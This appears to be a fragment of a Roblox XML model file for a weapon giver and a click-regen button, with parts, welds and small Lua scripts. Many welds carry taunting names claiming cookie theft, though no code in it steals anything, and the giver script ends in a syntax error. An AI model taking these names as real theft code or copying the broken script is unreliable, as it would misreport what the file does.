						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4572">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4573">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1798.49817</X>
							<Y>9.02285767</Y>
							<Z>197.505615</Z>
							<R00>-0.99999845</R00>
							<R01>-0.00014297686</R01>
							<R02>2.15028413e-005</R02>
							<R10>-0.000142928999</R10>
							<R11>0.999997377</R11>
							<R12>0.00229232828</R12>
							<R20>-2.18286768e-005</R20>
							<R21>0.00229235273</R21>
							<R22>-0.999995828</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4574">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4575">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1</int>
						<CoordinateFrame name="CFrame">
							<X>-1800.49841</X>
							<Y>8.72317505</Y>
							<Z>199.506836</Z>
							<R00>0.999997497</R00>
							<R01>-0.000173491571</R01>
							<R02>-2.15269647e-005</R02>
							<R10>0.000173446824</R10>
							<R11>0.999997735</R11>
							<R12>-0.00213973643</R12>
							<R20>2.18962869e-005</R20>
							<R21>0.00213976274</R21>
							<R22>0.999995232</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Put the weapon in this brick</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1.20000005</Y>
							<Z>5</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4576">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4577">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1796.49817</X>
							<Y>9.01872635</Y>
							<Z>199.505615</Z>
							<R00>1.10253732e-005</R00>
							<R01>-0.000130334694</R01>
							<R02>0.999998748</R02>
							<R10>0.00226921425</R10>
							<R11>0.999997437</R11>
							<R12>0.000130311222</R12>
							<R20>-0.999996185</R20>
							<R21>0.00226923986</R21>
							<R22>1.13192427e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4578">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4579">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1798.49829</X>
							<Y>9.01368713</Y>
							<Z>201.505615</Z>
							<R00>-0.99999845</R00>
							<R01>-0.00014297686</R01>
							<R02>2.15028413e-005</R02>
							<R10>-0.000142928999</R10>
							<R11>0.999997377</R11>
							<R12>0.00229232828</R12>
							<R20>-2.18286768e-005</R20>
							<R21>0.00229235273</R21>
							<R22>-0.999995828</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>3</X>
							<Y>6</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4580">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX4581">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">26</int>
						<CoordinateFrame name="CFrame">
							<X>-1797.99866</X>
							<Y>12.6185532</Y>
							<Z>199.513794</Z>
							<R00>1.10253732e-005</R00>
							<R01>-0.000130334694</R01>
							<R02>0.999998748</R02>
							<R10>0.00226921425</R10>
							<R11>0.999997437</R11>
							<R12>0.000130311222</R12>
							<R20>-0.999996185</R20>
							<R21>0.00226923986</R21>
							<R22>1.13192427e-005</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">1</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Smooth Block Model</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.300000012</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>5</X>
							<Y>1.20000005</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="Weld" referent="RBX4582">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
				</Item>
				<Item class="BodyColors" referent="RBX4583">
					<Properties>
						<bool name="Archivable">true</bool>
						<int name="HeadColor">1003</int>
						<int name="LeftArmColor">1014</int>
						<int name="LeftLegColor">1003</int>
						<string name="Name">iDemandJ00rC00K3HZ</string>
						<int name="RightArmColor">1014</int>
						<int name="RightLegColor">1003</int>
						<int name="TorsoColor">1014</int>
					</Properties>
					<Item class="Weld" referent="RBX4584">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX4585">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">iSwallowedYourC00K3HZAndYouCantGetThemNowCauseTheyreInMahStomachLolFarts</string>
							<ProtectedString name="Source">if game:findFirstChild(&quot;NetworkServer&quot;)~=nil then 
	function onJoined(player)
		local noob = game.Workspace:findFirstChild(player.Name)
		if noob~=nil then 
			local h = noob.Parent:findFirstChild(&quot;Humanoid&quot;)
			if h~=nil then 
				for i = 1,3 do 
					h.Health = 1200
					wait(5)
				end 
			end 
		end 
	end 
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Weld" referent="RBX4586">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">iStoleJ00rC00K3HZOLOLOLOLOL</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4587">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Put this in the wepon</string>
						<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
function onTouch button
end
end
</ProtectedString>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX4588">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Read me for instructions</string>
						<ProtectedString name="Source">--DONT PUT THIS IN ANYTHING IT&apos;S JUST INSTRUCTIONS.
--First Place the &quot;PUT THIS IN THE WEAPON&quot; script in your Weapon or Tool.
--Then place your Weapon or Tool in the &quot;PUT THE WEAPON IN THIS BRICK&quot; brick.

--IMPORTANT (OPTINAL)
--Before doing anything you should put the Weapon or Tool in the giver where you want it.</ProtectedString>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX4589">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">194</int>
				<CoordinateFrame name="CFrame">
					<X>-1844.5</X>
					<Y>3</Y>
					<Z>171.5</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">1056</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>13</X>
					<Y>6</Y>
					<Z>17</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX4590">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Model" referent="RBX4591">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4592">
					<Properties>
						<bool name="Anchored">true</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">104</int>
						<CoordinateFrame name="CFrame">
							<X>-1650</X>
							<Y>7</Y>
							<Z>159</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Button1</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>0.400000006</Y>
							<Z>4</Z>
						</Vector3>
					</Properties>
					<Item class="ClickDetector" referent="RBX4593">
						<Properties>
							<bool name="Archivable">true</bool>
							<float name="MaxActivationDistance">100</float>
							<string name="Name">ClickDetector</string>
						</Properties>
					</Item>
					<Item class="Fire" referent="RBX4594">
						<Properties>
							<bool name="Archivable">true</bool>
							<Color3 name="Color">4294948864</Color3>
							<bool name="Enabled">false</bool>
							<string name="Name">Fire</string>
							<Color3 name="SecondaryColor">4294901760</Color3>
							<float name="heat_xml">25</float>
							<float name="size_xml">30</float>
						</Properties>
					</Item>
					<Item class="Script" referent="RBX4595">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">regen</string>
							<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
						</Properties>
					</Item>
					<Item class="ForceField" referent="RBX4596">
						<Properties>
							<bool name="Archivable">true</bool>
							<string name="Name">ForceField</string>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX4597">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">NEAF Big boat</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Part" referent="RBX4598">
					<Properties>
						<bool name="Anchored">false</bool>
						<bool name="Archivable">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">21</int>
						<CoordinateFrame name="CFrame">
							<X>-1693.5</X>
							<Y>11.2000036</Y>
							<Z>187.5</Z>
							<R00>1</R00>
							<R01>-2.47970338e-008</R01>
							<R02>6.14892768e-016</R02>
							<R10>-2.47970338e-008</R10>
							<R11>1</R11>
							<R12>-7.43910888e-008</R12>
							<R20>6.14892768e-016</R20>
							<R21>-7.43910888e-008</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
